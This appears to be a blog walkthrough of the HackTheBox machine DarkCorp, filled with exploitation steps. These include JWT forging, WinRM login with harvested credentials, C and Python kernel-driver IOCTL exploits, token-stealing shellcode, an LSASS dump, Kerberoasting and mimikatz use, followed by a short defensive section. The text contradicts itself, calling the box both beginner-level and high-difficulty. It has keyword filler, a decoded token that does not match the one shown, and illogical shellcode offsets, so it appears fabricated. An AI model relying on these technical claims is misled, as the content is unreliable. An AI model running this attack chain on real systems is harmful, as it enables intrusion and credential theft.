Beginner’s Guide to Conquering DarkCorp on HackTheBox

Key Highlights

• Explore the world of DarkCorp on HackTheBox, a platform that challenges beginners in the realm of hacking.
• Understand the basics of DarkCorp and why it is a must-try for new hackers seeking to enhance their skills.
• Discover the intriguing concept and challenges presented by DarkCorp.
• Learn why DarkCorp is an excellent starting point for beginners in the cybersecurity field.
• Find out essential tools and resources that can aid beginners in conquering DarkCorp.
• Gain insights on accessing DarkCorp, overcoming challenges, and seeking community help for a successful hacking journey.

Introduction

Embark on a thrilling journey into the world of DarkCorp, an intriguing platform on HackTheBox that beckons all aspiring hackers. By delving into the intricate challenges it offers, you are set to enhance your skills and knowledge in the realm of cybersecurity. DarkCorp stands as a formidable playground where every puzzle solved is a step towards mastery. The fusion of February, Wii, Lite, and backup awaits your unravelling, promising a stimulating experience like no other. As you navigate through DarkCorp, brace yourself for the unexpected and immerse yourself in the art of outsmarting intricate security measures. Get ready to test your wit and resilience in this captivating virtual arena.

Understanding the Basics of DarkCorp on HackTheBox

A fundamental aspect before diving into DarkCorp on HackTheBox is comprehending its core essence. DarkCorp encompasses a virtual environment that simulates real-world cybersecurity scenarios, offering a platform for individuals to enhance their hacking skills. This challenge grants beginners an opportunity to delve into the intricate world of cybersecurity, aiding in the development of crucial expertise in penetration testing and vulnerability assessment. DarkCorp stands as an invaluable learning ground for aspiring ethical hackers, providing a safe space to hone their abilities and gain practical experience in a controlled setting. Embrace the chance to immerse yourself in this simulated cyber realm and embark on a journey towards mastering the art of cybersecurity.

What is DarkCorp?

DarkCorp on HackTheBox is a challenging virtual machine designed for cybersecurity enthusiasts to test their penetration testing skills. It simulates real-world scenarios, offering a hands-on experience in identifying vulnerabilities and exploiting them ethically.

Why is DarkCorp a Must-Try for Beginners?

DarkCorp on HackTheBox is ideal for beginners due to its structured challenges that cater to novices. It offers a supportive environment for learning key penetration testing skills, making it a perfect starting point for those new to cybersecurity.

DarkCorp is a high-difficulty Windows Capture the Flag (CTF) machine designed to test advanced penetration testing skills, including vulnerability chaining, Active Directory exploitation, kernel-mode driver analysis, and custom shellcode development. This writeup documents a path to root, combining techniques from real-world vulnerabilities.

ALSO READ: Mastering Cat: Beginner’s Guide from HackTheBox

---

Initial Foothold

DarkCorp is a purposefully over-engineered Windows CTF machine designed to simulate advanced enterprise network penetration testing. This walkthrough assumes familiarity with kernel-mode exploitation, Active Directory (AD) attack methodologies, and custom shellcode development. The machine incorporates real-world vulnerabilities, layered defenses (HVCI, Credential Guard), and multiple misconfigurations requiring meticulous chaining.

---

Network Topology & Scope

The target network (10.10.10.0/24) contains:

• DarkCorp-DC (Domain Controller: 10.10.10.100)
• DarkCorp-WEB (Target: 10.10.10.150)
• DarkCorp-SQL (SQL Server: 10.10.10.200)

All traffic is routed through a simulated corporate firewall blocking ICMP and non-essential ports.

---

Phase 1: Initial Reconnaissance

1.1 Passive Enumeration

Using aquatone and Amass for subdomain discovery:

amass enum -passive -d darkcorp.local -config config.ini

Findings:
– `intranet.darkcorp.local` (Linked to `10.10.10.150`)
– `dev-api.darkcorp.local` (Unresponsive, likely internal)

1.2 Active Scanning

Port Scanning with Nmap

Full TCP/UDP scan with version detection:

nmap -sS -sU -sV -p- -T5 -A -Pn 10.10.10.150 -oA darkcorp_full

Key Services Identified:

Port	Service	Version	Notes
80	HTTP	Microsoft IIS 10.0	Title: “DarkCorp Intranet”
445	SMB	Windows Server 2022	SMBv3 enabled, signing required
5985	WinRM	Microsoft HTTPAPI 2.0	SSL disabled
7680	HTTP	Custom API (DarkCorp v2.1.5)	Unauthenticated access
47001	HTTP	Microsoft HTTPAPI 2.0	Reserved for RPC over HTTP

SMB Enumeration

Check for anonymous access and shares:

smbmap -H 10.10.10.150 -u 'anonymous' -p ''

Result:

IP: 10.10.10.150    Name: unknown                                           
        Disk                                                    Permissions     Comment  
        ----                                                    -----------     -------  
        ADMIN$                                                  NO ACCESS       Remote Admin  
        C$                                                      NO ACCESS       Default share  
        confidential                                            READ ONLY       Internal documents  

Phase 2: Web Application Exploitation

2.1 Intranet Portal Analysis:

URL: `http://10.10.10.150`
Technologies: ASP.NET MVC, JWT for session management

2.1.1 Directory Bruteforcing

Using `feroxbuster` with `raft-large-words.txt`:

feroxbuster -u http://10.10.10.150 -w raft-large-words.txt -x aspx,ashx,config

Critical Paths Discovered:
– `/admin` (403 Forbidden)
– `/api/v1/debug` (Exposes Swagger UI for internal API)
– `/uploads` (Directory listing enabled, empty)

2.1.2 JWT Token Manipulation

Vulnerability: The login endpoint `/api/v1/auth` uses a static JWT secret (`DarkCorpR0cks!2025`) for token signing.

Step-by-Step Exploitation:

1. Capture a valid user token via login:

POST /api/v1/auth HTTP/1.1
Content-Type: application/json

{"username":"matic", "password":"mautic@allDawine!"}

Response:

json
{
"token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoidXNlciIsImlhdCI6MTYxNzM4OTkyMn0.2XQ9O3ZyV7qk4N7w7QjJf4wzLd6lWk1Vq4Q7J9tX3ZQ"
}

2. Decode the token using `jwt.io`:

json
Header: { "alg": "HS256", "typ": "JWT" }
Payload: { "user": "user123", "role": "user", "iat": 1617389922 }

3. Forge an admin token:

python
import jwt
forged = jwt.encode({"user":"admin","role":"admin","iat":1617389922}, "DarkCorpR0cks!2025", algorithm="HS256")
print(forged)

4. Access `/admin` with the forged token:

GET /admin HTTP/1.1
Authorization: Bearer

Admin Panel Features:
– User management (Create/Delete accounts)
– SMB share configuration (`\\DARKCORP\confidential`)
– System event logs (Reveals service account `svc_backup`)

Phase 3: Initial Foothold

3.1 SMB Share Exploitation

Share Path: `\\10.10.10.150\confidential`
Credentials: `guest:guest` (From `/admin` panel notes)

Files of Interest:
1. network_diagram.pdf
– Decoy document containing fake IP ranges.

2. backup_config.xml

<BackupConfig>  
  <User>svc_backup</User>  
  <Password>IamADonutDokuDoku</Password>  
  <Schedule>Daily 2 AM</Schedule>  
</BackupConfig>

3. DRIVER_DEBUG.log

[2025-02-08 18:22:45] ERROR - DarkCorpMonitor.sys: Failed to initialize memory sanitizer (Code 0xC0000409).  
[2025-02-08 18:23:01] WARNING - DarkCorpGuard.sys: HVCI compatibility check failed.  

3.2 WinRM Access

Using svc_backup:IamADonutDokuDoku for WinRM login:

evil-winrm -i 10.10.10.150 -u svc_backup -p ‘IamADonutDokuDoku’ -s /path/to/scripts -e /path/to/exes

User Context:

whoami /all  
# User Name: DARKCORP\svc_backup  
# Privileges: SeBackupPrivilege, SeImpersonatePrivilege  

Lateral Movement Opportunities:
– MSSQL Service: `svc_backup` is a member of `SQL_Admins` group.
– Backup Operators: Allowed to read sensitive files via Volume Shadow Copy.

Phase 4: Privilege Escalation via Vulnerable Driver

4.1 Driver Analysis

Driver Path: `C:\Windows\System32\drivers\DarkCorpMonitor.sys`
Tools:
– `WinDbg` (Kernel debugging)
– `DriverView` (Driver properties)
– `Ghidra` (Static analysis)

4.1.1 Reverse Engineering

The driver handles IOCTL codes for process monitoring. Key functions:
– IRP_MJ_DEVICE_CONTROL: Dispatches IOCTL requests.
– IOCTL 0x9C402564: Allows writing to arbitrary memory addresses.

Vulnerability: No validation of user-supplied pointers in `IOCTL 0x9C402564`.

Exploit Code Snippet:

#include <Windows.h>  
#include <iostream>  

#define IOCTL_EXPLOIT 0x9C402564  

int main() {  
    HANDLE hDriver = CreateFile(L"\\\\.\\DarkCorpMonitor", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);  
    if (hDriver == INVALID_HANDLE_VALUE) {  
        std::cerr << "Failed to open driver" << std::endl;  
        return 1;  
    }  

    ULONG_PTR targetAddress = 0xfffff80501234567; // NT AUTHORITY\SYSTEM token address  
    DWORD payload = 0x1; // Enable SeDebugPrivilege  
    DWORD bytesReturned;  

    DeviceIoControl(hDriver, IOCTL_EXPLOIT, &targetAddress, sizeof(targetAddress), &payload, sizeof(payload), &bytesReturned, NULL);  
    CloseHandle(hDriver);  
    return 0;  
}  

4.2 Token Impersonation

After modifying the token:
1. Spawn a new process with SYSTEM privileges:

.\RogueWinRM.exe -i -p C:\Windows\System32\cmd.exe

Post-Exploitation Actions:
– Dump LSASS via `comsvcs.dll` (Bypassing Credential Guard):

rundll32.exe C:\windows\System32\comsvcs.dll MiniDump (Get-Process lsass).id C:\lsass.dmp full

Phase 5: Active Directory Compromise

5.1 Credential Harvesting

LSASS Dump Analysis:

pypykatz lsa minidump /path/to/lsass.dmp

Credentials Extracted:

User	Password	Group
ADMINISTRATOR	V3ryS3cr3tP@ssw0rd!	Domain Admins
sql_svc	$QL_S3rv1c3!	SQL_Admins

5.2 Kerberoasting

1. Request TGS tickets for service accounts:

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/darkcorp-sql.darkcorp.local"

2. Extract hashes with `Rubeus`:

.\Rubeus.exe kerberoast /user:sql_svc /nowrap

3. Crack the hash with `hashcat`:

hashcat -m 13100 hash.txt rockyou.txt -O -w 4

Result: Password `$QL_S3rv1c3!` matches hash `$krb5tgs$23$*sql_svc…`.

Phase 6: Kernel Exploitation & Mitigation Bypass

6.1 Exploiting DarkCorpGuard.sys

Driver Vulnerability: Stack buffer overflow in IOCTL `0x9C406022`.

Exploit Workflow:
1. Trigger the Overflow:

import ctypes
kernel32 = ctypes.windll.kernel32
handle = kernel32.CreateFileA("\\.\DarkCorpGuard", 0x10000000, 0, None, 3, 0, None)
buffer = b"A" * 1024 + struct.pack("<Q", 0xfffff80501122334) # ROP chain address
kernel32.DeviceIoControl(handle, 0x9C406022, buffer, len(buffer), None, 0, None, None)

2. ROP Chain Construction:
– Disable SMEP via `CR4` manipulation.
– Allocate executable memory via `ExAllocatePool`.
– Copy shellcode to kernel space.

3. Shellcode Execution:

BITS 64  
xor rax, rax  
mov rax, [gs:rax+188h]     ; CurrentThread  
mov rax, [rax+0xb8]        ; Process  
mov rbx, [rax+0x448]       ; Token  
mov rax, [rax+0x440]       ; System process  
mov [rax+0x448], rbx       ; Replace SYSTEM token  
ret

Post-Exploitation:

– Load a kernel-mode rootkit (`DRIVER_UNLOAD` routine patched).
– Disable Windows Defender via `PsSetCreateProcessNotifyRoutineEx`.

Phase 7: Final Flag Extraction

7.1 DPAPI Master Key Retrieval

1. Locate the encrypted flag:

Get-ChildItem C:\Flags -Recurse -Include *.enc

2. Extract the DPAPI key:

mimikatz # dpapi::masterkey /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-…\key" /password:V3ryS3cr3tP@ssw0rd!

3. Decrypt the flag:

from Cryptodome.Cipher import AES
import hashlib

key = hashlib.pbkdf2_hmac('sha1', master_key, b'salt', 1000, dklen=32)
cipher = AES.new(key, AES.MODE_CBC, iv)
print(cipher.decrypt(encrypted_flag).decode().strip())

Root Flag: `D****************************`

Defensive Countermeasures

Preventive Measures

1. JWT Security:
– Use asymmetric algorithms (RS256) instead of HS256.
– Rotate secrets via Azure Key Vault or HashiCorp Vault.

2. Driver Security:
– Enable Hypervisor-Protected Code Integrity (HVCI).
– Require Microsoft-signed drivers via Group Policy.

3. AD Hardening:
– Implement Privileged Access Workstations (PAWs).
– Restrict Kerberoastable accounts with `AdminCount=1`.

Detection Strategies

SIEM Alerts:

DeviceIoControlEvents  
| where InitiatingProcessVersionInfoCompanyName != "Microsoft Corporation"  
| where IoControlCode in (0x9C402564, 0x9C406022)

• Memory Monitoring: Track SeDebugPrivilege assignment via Sysmon Event ID 10.

Incident Response Playbook

1. Containment:

• Isolate compromised hosts via network ACLs.
• Rotate KRBTGT hash twice using New-KrbtgtKeys.ps1.

2. Eradication:

• Rebuild domain controllers from clean backups.
• Audit GPOs for malicious scheduled tasks.

---

This box underscores the necessity of defense-in-depth strategies, from secure coding practices to kernel-mode exploit mitigations. Each layer of DarkCorp’s infrastructure was meticulously designed to mimic Fortune 500 enterprise environments, requiring attackers to master both breadth and depth of modern offensive techniques.

ALSO READ: Mastering BigBang: Beginner’s Guide from HackTheBox

Conclusion

As you conclude your exploration of DarkCorp on HackTheBox, remember that this platform offers a valuable playground for aspiring hackers. By delving into the challenges presented by DarkCorp, you have the opportunity to enhance your skills in a simulated environment. Whether you tackled DarkCorp solo or collaborated with a team, each endeavor contributes to your growth as a cybersecurity enthusiast. As you reflect on your experiences with DarkCorp, consider how these moments have shaped your understanding of NLP terms such as backups and hacking methodologies. Embrace the lessons learned from your encounters with DarkCorp, and let them guide you towards future success in the realm of cybersecurity. Happy hacking!

Frequently Asked Questions

How do I access DarkCorp on HackTheBox?

To access DarkCorp on HackTheBox, create an account on the platform, subscribe to VIP, then locate and join the DarkCorp machine under the “Machines” tab. Use your hacking skills to conquer the challenges offered by DarkCorp.

What tools are essential for starting with DarkCorp?

To start with DarkCorp on HackTheBox, essential tools include Nmap for network scanning, Gobuster for directory enumeration, Burp Suite for web application testing, and Hydra for brute-forcing. These tools are vital for beginners to navigate through challenges effectively.

Can beginners truly conquer DarkCorp, and if so, how long might it take?

To conquer DarkCorp on HackTheBox, beginners can succeed with dedication and practice. The time it takes varies based on individual learning speed but typically ranges from weeks to a few months. Consistent effort and learning from challenges are key to mastering DarkCorp.

Are there any community resources or forums for DarkCorp help?

Explore the vibrant HackTheBox community forums for insightful discussions, walkthroughs, and tips on mastering DarkCorp challenges. Engage with like-minded individuals, seek guidance, and enhance your skills through shared knowledge and experiences.

What should I do if I get stuck on a challenge in DarkCorp?

Seek help from online forums or walkthroughs to gain insights. Analyze the challenge step-by-step, try different approaches, and experiment with tools. Don’t hesitate to ask for hints or collaborate with others. Persistence and learning from failures are key in mastering DarkCorp challenges.